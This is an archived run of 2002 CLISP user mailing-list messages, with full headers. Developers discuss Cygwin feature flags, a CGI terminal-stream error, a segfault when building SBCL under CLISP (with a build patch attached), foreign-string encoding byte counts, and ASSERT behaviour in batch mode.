exactly what you meant below, so excuse me if I just point out something you already know. > [CYGWIN-CLISP means: CLISP compiled with CYGWIN] > > > Pro #+WIN32 == CLISP-CYGWIN is a MS-Windows app because > + it can (in theory?) feature all things a "native" CLISP can (with how many modifications, if any?): > # SYS::REGISTRY > # DIRKEY (Peter Burwood could comment on the necessary changes) DIR-KEY is already a feature, no need to tie in with #+win32 > # gdi (code unchanged between Dan's cygwin and mine using MS-VC) > +-+-? making features available is just a matter of adding || defined(UNIX_CYGWIN) to selected defined(WIN32_NATIVE) places (pro), or code must be modified and carefully examined (contra). > + the hypothetical user doesn't care whether his/her CLISP was compiled natively or not?? > + code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features mentioned above (a contradiction in effect?). I agree, #+win32 is often wrong. > + Lisp code uses #+WIN32 to detect the need for :DOS EOL convention when > writing files and should do so with CYGWIN-CLISP as well. Pass. > Contra #+WIN32 > - it doesn't understand pathnames like "C:\\foo\\bar.txt" This could be accommodated. We could provide a cygwin compiled version of clisp that supports Win (dos) pathnames or Cygwin (unix) pathnames, decided at compile time. > - even if it would, (shell (format nil "NOTEPAD.EXE ~A" (namestring > pathname))) would not work, because MS-Windows/DOS applications do not > recognize C:/foo/bar.txt. I might be misremembering here, but the RISC OS port had a similar issue. When the pathname was being passed to the OS, it was necessary to do some conversion. This was because of the way pathnames commonly exist under RISC OS versus a lot of Lisp code. Anyway, I'll skip the issues, because it'll be a while before I can even check that one. The important fact is that I think internal CLisp representation for pathnames can be different from external representation. Sorry I can't think of a good example atm. > - it needs a specially compiled cygz.dll instead of zlib.dll (why?) I don't know, but possibly to avoid name clashes and PATH issues. Cygwin having cygz.dll means that the MS zlib.dll won't get loaded by Cygwin apps. Why though? Perhaps MS dlls cannot be mixed with Cygwin code? > - code from other Lisps already uses #+win32 to detect availability of the > typical MS-Windows features but breaks on pathnames, shell and other > distinguishing features. Some code might use #+win32 because there was no reasonable alternative. Backwards compatibility would need to be kept for some time if :pathnames=dos was used. > > Pro #+UNIX == CYGWIN is a UNIX app because > + SYSCALLS is there, including file-stat, sysinfo, resolve_host_ipaddr, bogomips > + everything a programmer expects from a UNIX environment is (or can be) there: SYSCALLS is already a feature, so it doesn't matter about #+win32 or #+unix. > # readline library, gettext Likewise. > # /bin/sh > # (run-command "/bin/sh emacs &"), or (run-command "/bin/sh emacs" :wait nil) all work as expected. > # all POSIX functions, even gamma() and lgamma() (currently disabled for -DWIN32_NATIVE). Anyone for #+POSIX ? > + it could support (sys::dynload-module "module.so") Isn't this #+DYN-FFI or whatever the feature is? > + it integrates smoothly in a mixed UNIX+MS-Windows X11 windowing system environment, where DISPLAY is set to various hosts. > - it does not integrate smoothly into such an environment, because "typical" X programs are not there or behave differently, e.g. netscape, XEmacs. However, ports of pbm, imagemagick, xv and even xterm work. > > > Contra #+UNIX == CYGWIN should not disguise as a UNIX app because > - the user may have installed a minimal cygwin, i.e. all typical UNIX commands are missing (ls, /bin/sh etc.) -- is that choice possible (or available via the cygwin installation?) Yes, it is quite possible to be missing many Unix commands. In fact I am positive that I can run Clisp/Cygwin with one or two dlls - I have checked this, I just can't find my notes about dlls needed. > It appears to that PRO&CONTRA are very much dictated by the user's > environment: whether s/he has a complete UNIX-like environment and makes > active use of it, or whether s/he sees CYGWIN-CLISP just as CLISP running > on MS-Windows and doesn't care how it was compiled. > > Maybe we should add to config.lisp: > ;; CYGWIN users: you can choose whether you want either :UNIX or :WIN32 > ;; on your feature list. But don't choose both. > after the initial image has been generated, i.e. the core CLISP got the things that match its C half. I'm almost tempted to suggest get rid of win32 and unix because those features just mean too many different things to many people. Maybe that's too radical? Peter From dan.stanger@ieee.org Tue Apr 30 15:51:13 2002 Received: from mantis.privatei.com ([208.203.136.20]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172gSn-0004Qt-00 for ; Tue, 30 Apr 2002 15:51:13 -0700 Received: (from dxs@localhost) by mantis.privatei.com (8.11.6/8.11.6) id g3UMp5N23032 for clisp-list@lists.sourceforge.net; Tue, 30 Apr 2002 16:51:05 -0600 (MDT) From: dan.stanger@ieee.org Message-Id: <200204302251.g3UMp5N23032@mantis.privatei.com> X-Authentication-Warning: mantis.privatei.com: dxs set sender to dan.stanger@ieee.org using -r To: clisp-list@lists.sourceforge.net Subject: [clisp-list] cygwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 30 15:52:03 2002 X-Original-Date: Tue, 30 Apr 2002 16:51:05 -0600 (MDT) I use cygwin for political reasons. The react os project, which is trying to build a gpl'd version of windows nt, will be able to use any code I develop, as it is all lgpl'd. The ms license agreement for vc++, prohibits code developed with it from being used on non ms platforms. The only reason I am doing the gdi project is to port garnet to win32, so that it can be used in reactos also. Regarding the feature, I had no idea that it would generate this much discussion. I like the idea of putting them in config.lisp, if it doesnt take much work. Then you could tell yourself whatever you wanted ;-) Dan Stanger From friedman@nortelnetworks.com Wed May 01 07:00:53 2002 Received: from zcars04f.nortelnetworks.com ([47.129.242.57] helo=zcars04f.ca.nortel.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 172uf5-00062p-00 for ; Wed, 01 May 2002 07:00:51 -0700 Received: from zcars2ky.ca.nortel.com (zcars2ky.ca.nortel.com [47.129.242.221]) by zcars04f.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id g41E0f200397 for ; Wed, 1 May 2002 10:00:41 -0400 (EDT) Received: from nmerhbba.ca.nortel.com (nmerhbba.ca.nortel.com [47.131.32.117]) by zcars2ky.ca.nortel.com (Switch-2.2.0/Switch-2.2.0) with SMTP id g41E1cB29579 for ; Wed, 1 May 2002 10:01:38 -0400 (EDT) Received: by nmerhbba.ca.nortel.com (1.38.193.4/16.2 BNR V4.2 P1) id AA04818; Mon, 1 May 1972 09:57:12 -0400 From: Barry Friedman To: clisp-list@lists.sourceforge.net Message-Id: <19720501095712.A4644@nortelnetworks.com> Reply-To: friedman@emax.ca Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] Please explain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 1 07:02:44 2002 X-Original-Date: Mon, 1 May 1972 09:57:12 -0400 Hi, I'm using GNU CLISP 2.27 (released 2001-07-17) and am trying to invoke a lisp program from a cgi script. This now produces the message: *** - The value of *TERMINAL-IO* was not a stream: #. It has been changed to # and terminates. (This did not happen with an older version of clisp: 1999-07-22 ) How can I prevent this from happening? Thanks in advance, -- Barry Friedman Emax Computer Systems Inc., 440 Laurier Ave. W., Ottawa, Ont. Canada K1R 7X6 ESN: 395-4270 NET: friedman@emax.ca Phone: (613) 782-2389 Fax: 782-2228 From peter.denno@nist.gov Wed May 01 09:59:23 2002 Received: from dribble.cme.nist.gov ([129.6.32.31]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172xRg-0000AB-00 for ; Wed, 01 May 2002 09:59:13 -0700 Received: from bordercollie (bordercollie.dmz.cme.nist.gov [129.6.78.119]) by dribble.cme.nist.gov (8.9.3/8.9.3) with ESMTP id MAA09675 for ; Wed, 1 May 2002 12:58:52 -0400 (EDT) Content-Type: text/plain; charset="us-ascii" From: Peter Denno Organization: National Institute of Standards and Technology To: clisp X-Mailer: KMail [version 1.4] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200205011257.10582.peter.denno@nist.gov> Subject: [clisp-list] Any thoughts on a MOP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 1 10:00:06 2002 X-Original-Date: Wed, 1 May 2002 12:57:10 -0400 Hi, Does anyone here have any thoughts on developing a MOP (such as described in AMOP) for CLisp? Is anyone working on this? Are there architectural impediments to doing this work in CLisp, as it stands now? Are there others interested in having a MOP in CLisp? -- Best Regards, - Peter Peter Denno National Institute of Standards and Technology, Manufacturing System Integration Division, 100 Bureau Drive, Mail Stop 8260 Tel: +1 301-975-3595 Gaithersburg, MD, USA 20899-8260 FAX: +1 301-975-4694 From csr21@cam.ac.uk Wed May 01 10:28:10 2002 Received: from purple.csi.cam.ac.uk ([131.111.8.4]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172xtg-0007IY-00 for ; Wed, 01 May 2002 10:28:08 -0700 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by purple.csi.cam.ac.uk with esmtp (Exim 4.04) id 172xtb-00034q-00; Wed, 01 May 2002 18:28:03 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.35 #1 (Debian)) id 172xtV-0003e9-00; Wed, 01 May 2002 18:27:57 +0100 To: Sam Steingold Cc: CLISP Subject: Re: [clisp-list] What causes hard exits from clisp? Message-ID: <20020501172757.GA13192@cam.ac.uk> References: <20020423081019.GA2920@cam.ac.uk> <20020423142328.GA5538@cam.ac.uk> <20020423155251.GA5957@cam.ac.uk> <20020423182507.GA6665@cam.ac.uk> <20020424081326.GA11985@cam.ac.uk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="vtzGhvizbBRQ85DL" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Christophe Rhodes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 1 10:30:05 2002 X-Original-Date: Wed, 1 May 2002 18:27:57 +0100 --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, Apr 24, 2002 at 09:23:16AM -0400, Sam Steingold wrote: > > * In message <20020424081326.GA11985@cam.ac.uk> > > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?" > > * Sent on Wed, 24 Apr 2002 09:13:26 +0100 > > * Honorable Christophe Rhodes writes: > > > > I've attached a slightly fuller backtrace from the CVS version of > > CLISP, compiled with ./configure --with-debug, on the same > > application. It crashes in the same place, from a user point of view, > > though the small-numbered stack frames in this backtrace are slightly > > different in the detail. > > > > fehler_funname_source appears at frames 45, 80, and 115 of the > > attached (hmm, 35 frames..., yes, also 150 and 185) > > fine. please stop in an inner fehler_funname_source() and print all > arguments in all the 35 (hmm - please make it 70 - I want to know the > how the two adjacent periods differ) frames separating this > fehler_funname_source() and the one above (print objects with zout). Right. I've tried to look at this problem (not just the weird fehler_funname_source thing, the whole sbcl-compile-under-clisp and garbage-collection problem). Firstly, let me say that the symptom discussed above seems to be an artifact of having corrupted data; I _think_ what is going on is that fehler_funname_source is trying to print *** - EVAL: is not a function name and failing because the is a corrupt object; this then lands it into confused recursive error territory. I could be wrong, of course, but (gdb) frame 0 #0 fehler_funname_source (caller=0x8247665, obj=0x8246379) at error.d:914 914 pushSTACK(obj); pushSTACK(caller); (gdb) zout caller ; EVAL $2 = (void *) 0x8247665 leads me to that diagnosis. (zouting obj, and most other things in the backtrace at this point, reliably cause segfaults). As for *** - handle_fault error2 ! address = 0xC0 not in [0x202AF000,0x20A2511C) ! SIGSEGV cannot be cured. Fault address = 0xC0. Segmentation fault well, I have tried wandering about the stack, stopping before this segfault, but I confess that I haven't managed to find anything out. However, sbcl's CVS is now in a state where it makes sense to give instructions for replicating this failure, in case anyone else would like to try their hand... it's still a little involved, so bear with me. Firstly, to check out sbcl from CVS, do cvs -d:pserver:anonymous@cvs.sbcl.sourceforge.net:/cvsroot/sbcl co sbcl (with optional -z3 for compression, and possibly having done cvs login first). To this, you will need to apply the attached patch (which represent things that are needed to make some internals work under clisp, but aren't understood sufficiently well to be committed to CVS), with, from within the sbcl directory: patch -p0 < clisp-build.diff [ feel free to look at it and explain the twisted reasoning behind the cmucl-derived code :-) ] Then (and this bit assumes that you're running on x86/linux; if you're not, this procedure is still possible, though more complex, so let me know if you'd like the instructions): user@host:path/to/sbcl$ sh ./make-config.sh [ ... sets up relevant symlinks ... ] user@host:path/to/sbcl$ SBCL_XC_HOST='path/to/clisp' sh ./make-host-1.sh [ ... builds a cross-compiler, and dumps a header file needed to build the runtime ... this bit should go without errors ] user@host:path/to/sbcl$ GNUMAKE=make sh ./make-target-1.sh [ ... builds the runtime ... this bit should go with plenty of warnings but without errors ] user@host:path/to/sbcl$ path/to/clisp and then you get a clisp prompt [1]> at which point you start pasting in forms from make-host-2.sh; normally this would be run uninteractively, but you're going to need interaction... so starting with the (setf *print-level* 5 *print-length* 5) (load "src/cold/shared.lisp") (in-package "SB-COLD") ... carry on pasting in forms one by one. After pasting in (load-or-cload-xcompiler #'host-load-stem) clisp should load the cross-compiler fas files; then, once you get down to (load "src/cold/compile-cold-sbcl.lisp") the cross-compiler should start running, printing plenty of diagnostic messages as is a verbose compiler's wont. During compilation of src/code/pred.lisp, a continuable error is signalled (for some reason that I haven't yet tracked down, SBCL wants to intern "NIL-1" into the CL package; this is a bug in SBCL, but it can be "continue"d from for now; then, about a minute later, during compilation of src/code/array.lisp, I get this segfault the cause of which I have not had very much success in finding :-( I appreciate that this is the kind of bug report that is a nightmare (it's not exactly a "small reproduceable test case", is it?), so I understand if no-one gets round to tracking it down for a while... but if anyone does have the time even to verify this, it would probably help. Many thanks, Cheers, Christophe -- Jesus College, Cambridge, CB5 8BL +44 1223 510 299 http://www-jcsu.jesus.cam.ac.uk/~csr21/ (defun pling-dollar (str schar arg) (first (last +))) (make-dispatch-macro-character #\! t) (set-dispatch-macro-character #\! #\$ #'pling-dollar) --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="clisp-build.diff" Index: src/code/defstruct.lisp =================================================================== RCS file: /cvsroot/sbcl/sbcl/src/code/defstruct.lisp,v retrieving revision 1.42 diff -u -r1.42 defstruct.lisp --- src/code/defstruct.lisp 19 Apr 2002 10:51:27 -0000 1.42 +++ src/code/defstruct.lisp 1 May 2002 17:25:43 -0000 @@ -177,10 +177,18 @@ ;;; Return the name of a defstruct slot as a symbol. We store it as a ;;; string to avoid creating lots of worthless symbols at load time. +;;; +;;; Also, we should be careful not to intern in the CL package, which +;;; is undefined behaviour; in that case, we'll use SANE-PACKAGE +;;; (relevant when we defstruct RESTART, where the accessor will be in +;;; the CL package, but we don't want the lambda list symbols there +;;; too...) (defun dsd-name (dsd) (intern (string (dsd-%name dsd)) (if (dsd-accessor-name dsd) - (symbol-package (dsd-accessor-name dsd)) + (if (eql (symbol-package (dsd-accessor-name dsd)) *cl-package*) + (sane-package) + (symbol-package (dsd-accessor-name dsd))) (sane-package)))) ;;;; typed (non-class) structures Index: src/compiler/assem.lisp =================================================================== RCS file: /cvsroot/sbcl/sbcl/src/compiler/assem.lisp,v retrieving revision 1.14 diff -u -r1.14 assem.lisp --- src/compiler/assem.lisp 25 Apr 2002 19:26:55 -0000 1.14 +++ src/compiler/assem.lisp 1 May 2002 17:25:43 -0000 @@ -1294,7 +1294,11 @@ (i0 0)) (flet ((frob (i0 i1) (when (< i0 i1) - (funcall function (subseq buffer i0 i1))))) + (let ((fp (fill-pointer buffer))) + (when (< fp i1) + (setf (fill-pointer buffer) i1)) + (funcall function (subseq buffer i0 i1)) + (setf (fill-pointer buffer) fp))))) (dolist (note (segment-annotations segment)) (when (filler-p note) (let ((i1 (filler-index note))) Index: src/compiler/x86/parms.lisp =================================================================== RCS file: /cvsroot/sbcl/sbcl/src/compiler/x86/parms.lisp,v retrieving revision 1.27 diff -u -r1.27 parms.lisp --- src/compiler/x86/parms.lisp 1 May 2002 13:56:51 -0000 1.27 +++ src/compiler/x86/parms.lisp 1 May 2002 17:25:44 -0000 @@ -44,8 +44,9 @@ ;;; bias and exponent min/max are not the same as shown in the 486 book. ;;; They may be correct for how Python uses them. (defconstant single-float-bias 126) ; Intel says 127. -(defconstant-eqx single-float-exponent-byte (byte 8 23) #'equalp) -(defconstant-eqx single-float-significand-byte (byte 23 0) #'equalp) +(eval-when (:compile-toplevel :load-toplevel :execute) + (defparameter single-float-exponent-byte (byte 8 23)) + (defparameter single-float-significand-byte (byte 23 0))) ;;; comment from CMU CL: ;;; The 486 book shows the exponent range -126 to +127. The Lisp ;;; code that uses these values seems to want already biased numbers. @@ -55,16 +56,18 @@ (defconstant single-float-trapping-nan-bit (ash 1 22)) (defconstant double-float-bias 1022) -(defconstant-eqx double-float-exponent-byte (byte 11 20) #'equalp) -(defconstant-eqx double-float-significand-byte (byte 20 0) #'equalp) +(eval-when (:compile-toplevel :load-toplevel :execute) + (defparameter double-float-exponent-byte (byte 11 20)) + (defparameter double-float-significand-byte (byte 20 0))) (defconstant double-float-normal-exponent-min 1) (defconstant double-float-normal-exponent-max #x7FE) (defconstant double-float-hidden-bit (ash 1 20)) (defconstant double-float-trapping-nan-bit (ash 1 19)) (defconstant long-float-bias 16382) -(defconstant-eqx long-float-exponent-byte (byte 15 0) #'equalp) -(defconstant-eqx long-float-significand-byte (byte 31 0) #'equalp) +(eval-when (:compile-toplevel :load-toplevel :execute) + (defparameter long-float-exponent-byte (byte 15 0)) + (defparameter long-float-significand-byte (byte 31 0))) (defconstant long-float-normal-exponent-min 1) (defconstant long-float-normal-exponent-max #x7FFE) (defconstant long-float-hidden-bit (ash 1 31)) ; actually not hidden @@ -92,11 +95,12 @@ (defconstant float-round-to-positive 2) (defconstant float-round-to-zero 3) -(defconstant-eqx float-rounding-mode (byte 2 10) #'equalp) -(defconstant-eqx float-sticky-bits (byte 6 16) #'equalp) -(defconstant-eqx float-traps-byte (byte 6 0) #'equalp) -(defconstant-eqx float-exceptions-byte (byte 6 16) #'equalp) -(defconstant-eqx float-precision-control (byte 2 8) #'equalp) +(eval-when (:compile-toplevel :load-toplevel :execute) + (defparameter float-rounding-mode (byte 2 10)) + (defparameter float-sticky-bits (byte 6 16)) + (defparameter float-traps-byte (byte 6 0)) + (defparameter float-exceptions-byte (byte 6 16)) + (defparameter float-precision-control (byte 2 8))) (defconstant float-fast-bit 0) ; no fast mode on x86 ;;;; description of the target address space --vtzGhvizbBRQ85DL-- From samuel.steingold@verizon.net Wed May 01 11:18:08 2002 Received: from h005.c001.snv.cp.net ([209.228.32.119] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 172yg3-0003XI-00 for ; Wed, 01 May 2002 11:18:07 -0700 Received: (cpmta 28206 invoked from network); 1 May 2002 11:18:01 -0700 Received: from 65.114.186.226 (HELO eigen.premonitia.com) by smtp.premonitia.com (209.228.32.119) with SMTP; 1 May 2002 11:18:01 -0700 X-Sent: 1 May 2002 18:18:01 GMT To: friedman@emax.ca Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Please explain References: <19720501095712.A4644@nortelnetworks.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <19720501095712.A4644@nortelnetworks.com> Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed May 1 11:22:29 2002 X-Original-Date: 01 May 2002 14:17:59 -0400 > * In message <19720501095712.A4644@nortelnetworks.com> > * On the subject of "[clisp-list] Please explain" > * Sent on Mon, 1 May 1972 09:57:12 -0400 > * Honorable Barry Friedman writes: > > I'm using GNU CLISP 2.27 (released 2001-07-17) and am trying to please upgrade. > invoke a lisp program from a cgi script. This now produces the > message: > > *** - The value of *TERMINAL-IO* was not a stream: > #. > It has been changed to # > > and terminates. I think something like this was reported some months ago. if there was a reproducible test case, them it was fixed, so either 2.28 or at least CVS should work. > (This did not happen with an older version of clisp: 1999-07-22 ) interesting. > How can I prevent this from happening? please try to create a reproducible test case. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux He who laughs last thinks slowest. From Joerg-Cyril.Hoehle@t-systems.com Thu May 02 01:27:30 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173Bw0-0007Gz-00 for ; Thu, 02 May 2002 01:27:28 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 2 May 2002 10:26:07 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 2 May 2002 10:27:18 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] help about [ clisp-Bugs-550603 ] UTF-16 min/max_bytes_per_char mu st be 2 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 01:28:09 2002 X-Original-Date: Thu, 2 May 2002 10:27:16 +0200 Hi, I've got a FFI:WITH-FOREIGN-STRING ready, except for one single, yet major issue/bug, without which it cannot be released. I'd like to poll suggestion on it. The macro allows to circumvent the 1:1 restriction on string conversions It's parameters are very similar to LispWorks'. The problem left is about byte-count for zero-terminated-strings. (defmacro with-foreign-string ((foreign-variable element-count byte-count &key (encoding 'custom:*foreign-encoding*) (null-terminated-p 'T)) string &body body) LispWorks says: The macro with-foreign-string is used to dynamically convert a Lisp string to a foreign string and execute a list of forms using the foreign string. The macro first converts string, a Lisp string, into a foreign string. The symbol pointer is bound to a pointer to the start of the string, the symbol element-count is set equal to the number of elements in the string, and the symbol byte-count is set equal to the number of bytes the string occupies. Then the list of forms specified by body is executed. Finally, the memory allocated for the foreign string and pointer is de-allocated. [...] The null-terminated-p keyword specifies whether the foreign string is terminated with a null character. It defaults to t. If the string terminates in a null character, it is included in the element-count. The core of the problem is: how to derive the byte-count from the encoding, so that zero-termination makes sense? A single zero *byte* is not correct for all encodings, since foreign functions receiving a UTF-16/UCS-2/UNICODE-32 string can do 16-bit or 32-bit wide access to such a string. Of course, I could always add 4 zero bytes at the end of the buffer, but LispWorks' interface yields the byte-count, so I must produce it. It's not reasonable IMHO to drop the byte-count, since the correct buffer size may be important for foreign-functions, so the programmer ought to know it and pass it on. (with-foreign-string (fv e b :encoding charset:utf-16) "abc" (list e b)) Ought to yield (4 10), for #(254 255 0 97 0 98 0 99 0 0) Currently it returns (4 9). Using charset:unicode-32 is currently not broken: (4 8) for #(0 0 0 97 0 0 0 98 0 0 0 99 0 0 0 0) You can see from the example that a single 0 byte cannot terminate UTF-16 or UCS-2 strings: 0+junk is not distinguishible from 0+97, i.e. #\a. I thought I could use the min_bytes_per_char slot of CLISP's encoding structure: # Minimum number of bytes needed to represent a character. uintL min_bytes_per_char; It works perfectly for many encodings (e.g. UCS-2, UNICODE-32, ISO-8859-1 ...) But it is broken for UTF-16, which is important for MS-Windows. The problem may be with libiconv. Sam Steingold says: >are you sure you need these numbers to be correct to get the >correct translations? Is there any other idea beside using this slot? Here's the reference to the CLISP bug report with additional information: > Bugs item #550603, was opened at 2002-04-30 08:41 > You can respond by visiting: > http://sourceforge.net/tracker/?func=detail&atid=101355&aid=55 > 0603&group_id=1355 > Category: libiconv > Summary: UTF-16 min/max_bytes_per_char must be 2 > Initial Comment: > impnotes says: "UTF-16, the 16-bit UNICODE character > set. Every character is represented as two bytes." > However, TheEncoding->min/max_bytes_per_char is > currently 1, resp.8. [...] Regards, Jorg Hohle. From lin8080@freenet.de Thu May 02 03:19:55 2002 Received: from mout1.freenet.de ([194.97.50.132]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173Dgn-0006MT-00 for ; Thu, 02 May 2002 03:19:54 -0700 Received: from [194.97.50.138] (helo=mx0.freenet.de) by mout1.freenet.de with esmtp (Exim 3.36 #1) id 173Dgk-0007WV-00 for clisp-list@lists.sourceforge.net; Thu, 02 May 2002 12:19:50 +0200 Received: from acad9.pppool.de ([213.6.202.217] helo=freenet.de) by mx0.freenet.de with asmtp (ID lin8080@freenet.de) (Exim 3.36 #1) id 173Dgj-0006Ww-00 for clisp-list@lists.sourceforge.net; Thu, 02 May 2002 12:19:49 +0200 Message-ID: <3CD112F5.C7343694@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: [clisp-list] cygwin Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 03:20:24 2002 X-Original-Date: Thu, 02 May 2002 12:20:37 +0200 Hallo Now I read about another compile-method in the "gambit" docs and the compiler is Watcom C/C++. They said something very intressting there: .......................... Under Windows-NT/95 you can pick any version if you plan to only use the interpreter but the version built with the Watcom C/C++ compiler is suggested because it is the most efficient, roughly twice the speed of the one built with the Microsoft Visual C++ 4.0 compiler. .......................... So when there is the choice the argument about speed seems very important. But sorry, I can't test this out. just point to something completely different stefan oh: Stefan is not me. I use "s" not "S". From bley@wh2-19.st.uni-magdeburg.de Thu May 02 04:48:42 2002 Received: from wh2-19.st.uni-magdeburg.de ([141.44.162.19]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173F4h-0001Jy-00 for ; Thu, 02 May 2002 04:48:39 -0700 Received: by wh2-19.st.uni-magdeburg.de (Postfix, from userid 1000) id 90D779F73; Thu, 2 May 2002 13:48:49 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15569.10145.93510.576957@wh2-19.st.uni-magdeburg.de> From: "Claudio Bley" To: lin8080 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] assert goes into an endless loop In-Reply-To: <3CC5A006.54D06654@freenet.de> References: <3CC5A006.54D06654@freenet.de> X-Mailer: VM 7.03 under Emacs 21.2.1 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu May 2 04:49:20 2002 X-Original-Date: Thu, 2 May 2002 13:48:49 +0200 >>>>> "lin8080" == lin8080 writes: Hi, (sorry for replying so late.) lin8080> .IMHO, if it is set in stone by the hyperspec that a lin8080> "correctable" .error is signalled there should be a lin8080> chance to actually correct the .error and the interpreter lin8080> should wait for user input. lin8080> Yes, that is what happend. Well, it didn't happen with clisp -x '(assert (>= -1 0))'. The interpreter decided on itself to retry evaluating the test-form. lin8080> .Otherwise if the interpreter is meant to be run in some lin8080> sort of .non-interaction mode the interpreter should lin8080> signal the error and just .exit without retrying to lin8080> evaluate the test-form. lin8080> Hmm. Do you mean, the "correctable error" should be an lin8080> normal "error"? I can not find a function like "proof" or lin8080> "examine", but find a makro "check-type" or lin8080> "ldb-test". Is there a equivalent to "assert"? This has been already changed as I proposed. clisp -x '(assert (>= -1 0))' with current CVS clisp yields: *** - (>= -1 0) must evaluate to a non-NIL value. Bye. Additionally, there is a new option "-interactive-debug"; 'clisp --help' says: Actions: -c [-l] lispfile [-o outputfile] - compile LISPFILE -x expression - execute the expression, then exit lispfile [argument ...] - load lispfile, then exit These actions put CLISP into a batch mode, which is overridden by -interactive-debug - allow interaction for failed ASSERT and friends Default action is an interactive read-eval-print loop. Claudio From amoroso@mclink.it Thu May 02 05:01:56 2002 Received: from net128-007.mclink.it ([195.110.128.7] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 173FHW-00030O-00 for ; Thu, 02 May 2002 05:01:54 -0700 Received: from net145-024.mclink.it (net145-024.mclink.it [195.110.145.24]) by mail.mclink.it (8.11.0/8.11.0) with SMTP id g42C1lO06942 for ; Thu, 2 May 2002 14:01:47 +0200 (CEST) From: Paolo Amoroso To: clisp 